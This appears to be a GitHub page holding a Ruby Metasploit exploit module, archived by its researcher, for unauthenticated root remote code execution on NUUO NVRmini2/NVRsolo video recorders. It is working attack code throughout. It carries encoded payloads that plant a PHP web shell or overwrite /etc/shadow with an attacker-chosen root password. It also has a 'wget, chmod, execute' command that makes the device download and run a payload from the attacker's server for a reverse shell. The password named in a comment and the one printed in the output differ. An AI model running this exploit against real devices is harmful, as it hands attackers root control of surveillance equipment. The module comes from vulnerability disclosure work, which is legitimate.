forked from pedrib/PoC
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathnuuo_nvrmini_unauth_rce_r2.rb
217 lines (191 loc) · 9.64 KB
/
nuuo_nvrmini_unauth_rce_r2.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
# NOTE !!!
# This exploit is kept here for archiving purposes only.
# Please refer to and use the version that has been accepted into the Metasploit framework.
require 'base64'
# This payload drops a PHP webshell in /NUUO/web/shelly.php, which is accessible at http://<TARGET>/shelly.php
# All commands run as root.
WEBSHELL = "AQQBAAAAAY2ht2HWPMNyYfcyiJZNK5gKAAAAAAAAAAAAAAAAAAAAAAAAAAAA\nAAAAAAAAAAAAAAAAAAAAAAAAAEqI6vO285g9jTEJnLEU6uSfcaGFVrwSo/Gh\nw3pLVDQD+O06eovinidp2M95q70jsFaazKKxpjQwtr8on2TXZigHXDsYRIYy\n+6mcjLV1eyEipS/L+9SPBBXbxc+bBbgIn6TxryLXtq/JB+2f8YRaLlPKX2wN\nVPsjr3tjxkSMQ1AyaYXm13+X8l4kUmJ2jLy/zaP7YkOgCk+KB/0g4kv3lGzo\n1T7ZGsVP/fisUASdgKydD3uRdDtNyZ/rR+eBAM+0EzqeUqi+Oh67iFQvDOge\nVhbpOqntJ9sCm89wC9Ob6+nZ8grzr1QMHSfT6uezTPRAlfnjrc1a1KSoxEan\ncqUWbyDGs4D6Mj1q7uABwfdfd6/3GrijS1E4P6so9xz8ESP92l0xwFjL+GuB\niEATYe5Thq/0jkAhwb4I1LDrYXwp/QA6oGw8SrZ4yxGU5FX9+xoyBq4n/lBh\neWd9yXykGw7vxEV7cCwp7U/1wLrNlCC2NQnNV3SffELVw1ogzMM02UVWhWTn\nJubMuzX4VZQdhswNBdo1qfTo+8VO3Qa1se9kuWEhP8SNry1EiILqnEZCDXE2\nbu3BprHzRvJxQsd+kwL2MeIPKd/Z0Mc6l+LGjfQzqykaQsd+kwL2MeJCx36T\nAvYx4kLHfpMC9jHiQsd+kwL2MeJCx36TAvYx4kLHfpMC9jHi".freeze
# This payload resets the admin password to "password" and sets the root password to "YouveBeenOwned".
# The root user can login via SSH, but the admin user can only login to the web interface.
SHADOW = "AQQBAAAAAzwl09cIC9ag56ZTkKaxa3dnAAAAAAAAAAAAAAAAAAAAAAAAAAAA\nAAAAAAAAAAAAAAAAAAAAAAAAAEuN9iwvYtp59dUGEtUO8U99Ttlh0YKWXfGh\nw3pLVDQD+O06eovinidp2M95q70jsFaazKKxpjQwtr8on2TXZii/qgDZp5Pk\nRqmcjLV1eyEiQD6Gt2yglcb0zCk7lQYyBRcVW3dtcou+KKtadakh3tIlMZgY\nFXptlfGRapDAKOxI9Ov0/6TR656mJz0ju+2fm4oOMmwB9EXaYn9TO2lDn3kk\niXwkWlEOA9S3fposo6Setd7v83RYJmlIWuLtcRXpRin2jyGsnj1bvck2wZPg\nPVAlqnklN2NWpxBlOnovGaeydwes5q6T4F0bKKJvI9WXWsLGJZ/RKfHpEwgi\nG35CVF5/1XyOmr07gPi0hURw/aRIvHbEM6PdXecunZBS0z/JFP4ROpdfDSGS\n4/2S2v1ba9BmUOEAxxxjb+AuaYlgrIKYOPn5fQ9ECNpceneS5pxWZSEuTShp\nR8Viv1QdPkeQGMugdK+PR0uQtIplXhCTHB/6qOtT6h4pssekcyrewDZGFDVI\nbcRh7lL9ngK/nTtNnWbzuOq0RHL0G/IIof0Prgkxy0eO68QYB4deL03ew+BZ\nHKfNwVOEm56OxQaJQnbOp4tPBy4OqEYSSGwQPIjf/s0+VnqLHZyeFNRDJ7Na\nTFioz6JWb+IRqKcp5NRAGij/76tHGelfWJBPZhclKuH8G8ZETTU3FqZxtlX3\nB+hrl945YAt1w7Pk5Y81JMf7BFcDOq/qiinOzBZ3epm+pe2kzeuX6Of6MisQ\nKnlPa+jn/MwGwYV6oHzrgX1e5XvAEeGhGA8Z7z5t+ashXs1RQSElN+MppKdx\niRc8GMZoCHIluGeHYuYjPB6xvNUUfaWjWolrABpytkux0oc/7ioIvSv7Yl1J\nsxMRCgsW6292+ZDwE9se4a6m/BY8jrcOX5x2gR7n/DHcVBUKn26Aolfw5yzj\nmCrhK/Pe4pFmymkSWgLY9U6tzVKI5k3MtpnsJYZqr98WD9WlXBYRUtotTltl\nIYEBg4V1rQKgaO5iX087powFDlozQyQlf0EBkaenBASC5iy0XNAjmEk5E4wP\nQU7mA1GXA1wWEVnXHRsPKFmj00yolmta+tFoxrCcSZ8Kq4v8bJYF4LKmnhCA\niww/CP27t1a3kAgyeORIej+8ebJ+ICxgRlxwE/yM1xZ08wt5/IzXFnTzC3k2\nvyoBasJssVtJxtJldxBo".freeze
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'NUUO NVRmini 2 / NVRsolo Unauthenticated Remote Code Execution (2022)',
'Description' => %q{
NUUO's NVRmini2 recorder contains a chain of flaws that allow an unauthenticated
attacker to execute code as root in all publicly released firmware versions.
The first link in the chain is an unauthenticated file upload, which gets decrypted
and then untar'ed. During the untar process we abuse the second flaw, a very old
directory traversal in busybox's tar to drop a file in /NUUO/web/shelly.php.
This contains a web shell that we use to download and execute our payload as root.
The web shell is deleted after we receive our beatiful reverse shell.
Note that the web shell technique is for firmware v2.0.0 and above.
For firmware v1.7.6 and below, we instead overwrite /etc/shadow to change the root
password, after which you can login via SSH with root:YouHaveBeenOwned.
While these two firmware targets (>= v2.0.0 and <= 1.7.6) are provided in this module,
for the older firmware (<= 1.7.6) it is recommended to use nuuo_nvrmini_unauth_rce.rb
Metasploit module from 2016 instead, as it is more reliable.
},
'Author' => [
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module
],
'References' => [
['CVE', '2022-23227'],
['CVE', '2011-5325'],
['URL', 'https://github.com/pedrib/PoC/blob/master/advisories/NUUO/nuuo_nvrmini_round2.mkd'],
],
'DefaultOptions' => { 'WfsDelay' => 5 },
'Targets' => [
['NVRmini2 v2.0.0 and above', {} ],
['NVRmini2 v1.7.6 and below', {} ],
],
'DefaultTarget' => 0,
'Platform' => 'linux',
'Arch' => ARCH_ARMLE,
'Privileged' => true,
'Stance' => Msf::Exploit::Stance::Aggressive,
'DisclosureDate' => '2022-01-12',
'Notes' => {
'Stability' => CRASH_SAFE,
'Reliability' => ARTIFACTS_ON_DISK,
'SideEffects' => REPEATABLE_SESSION
}
)
)
register_options(
[
Opt::RPORT(80),
OptString.new('TARGETURI', [true, 'Application path', '/']),
OptString.new('SRVHOST', [true, 'IP address for the HTTP server', '0.0.0.0']),
OptString.new('SRVPORT', [true, 'Port for the HTTP server', '4445']),
]
)
end
def check
res = send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI'], 'handle_import_user.php'),
'method' => 'GET'
})
if res && (res.code == 200) && res.body =~ (/There was an error uploading the file/)
Exploit::CheckCode::Vulnerable
else
Exploit::CheckCode::Unknown
end
end
# request handler for our web server
def on_request_uri(cli, _request)
print_status("#{peer} - Sending the payload to the device...")
@pl_sent = true
send_response(cli, @pl)
end
def payload_prep
# payload prep
@pl = generate_payload_exe
@pl_sent = false
resource_uri = '/' + rand_text_alpha(10..15)
# do not use SSL
if datastore['SSL']
ssl_restore = true
datastore['SSL'] = false
end
if ((datastore['SRVHOST'] == '0.0.0.0') || (datastore['SRVHOST'] == '::'))
srv_host = Rex::Socket.source_address(rhost)
else
srv_host = datastore['SRVHOST']
end
service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
print_status("#{peer} - Starting up our web service on #{service_url} ...")
start_service({
'Uri' => {
'Proc' => proc do |cli, req|
on_request_uri(cli, req)
end,
'Path' => resource_uri
}
})
datastore['SSL'] = true if ssl_restore
print_status("#{peer} - Asking the device to download and execute #{service_url}")
filename = rand_text_alpha_lower(rand(2..9))
cmd = "wget #{service_url} -O /tmp/#{filename}; chmod +x /tmp/#{filename}; /tmp/#{filename} &"
sleep 3
cmd
end
def send_cmd(cmd)
res = send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI'], 'shelly.php'),
'method' => 'GET',
'vars_get' => {
'cmd' => cmd
}
})
res
end
def exploit
# select our target and payload
if target == targets[0]
payload_enc = Base64.decode64(WEBSHELL)
else
payload_enc = Base64.decode64(SHADOW)
end
# create post data to be sent to the server
post_data = Rex::MIME::Message.new
post_data.add_part(rand_text_alpha(5..12),
nil, nil,
'form-data; name="tmp_name"')
post_data.add_part(payload_enc,
'application/octet-stream', 'binary',
"form-data; name=\"upload_file\"; filename=\"#{rand_text_alpha(6..10)}\"")
print_status("#{peer} - Uploading initial payload...")
res = send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI'], 'handle_import_user.php'),
'method' => 'POST',
'data' => post_data.to_s,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
})
if res && (res.code == 200) && res.body !~ /wrongfile/
# it should return "import user: open imported user file failed"
# if it returns "import user: wrongfile" then we failed
if target == targets[0]
# if this is a WEBSHELL target, verify that shelly is there...
res = send_cmd('whoami')
if res && (res.code == 200) && res.body =~ (/root/)
# use shelly to deploy final payload, and remove it afterwards
print_good("#{peer} - We now have root access via /shelly.php, using it to deploy payload...")
register_file_for_cleanup('/NUUO/web/shelly.php')
send_cmd(payload_prep)
counter = 0
until @pl_sent
sleep 1
counter += 1
if counter > 60
fail_with(Failure::Unknown, "#{peer} - Failed to get the device to download the payload...")
end
end
print_good("#{peer} - Shell incoming!")
handler
else
fail_with(Failure::Unknown, "#{peer} - Failed to get root with shelly")
end
else
# otherwise just let the user know that we're done!
print_good("#{peer} - /etc/passwd uploaded. You can now login via SSH with following credentials:")
print_good("#{peer} root:YouHaveBeenOwned")
print_status("#{peer} - Note that the admin user password has also been reset to the default \"password\"")
end
else
fail_with(Failure::Unknown, "#{peer} - Failed to upload initial payload")
end
end
end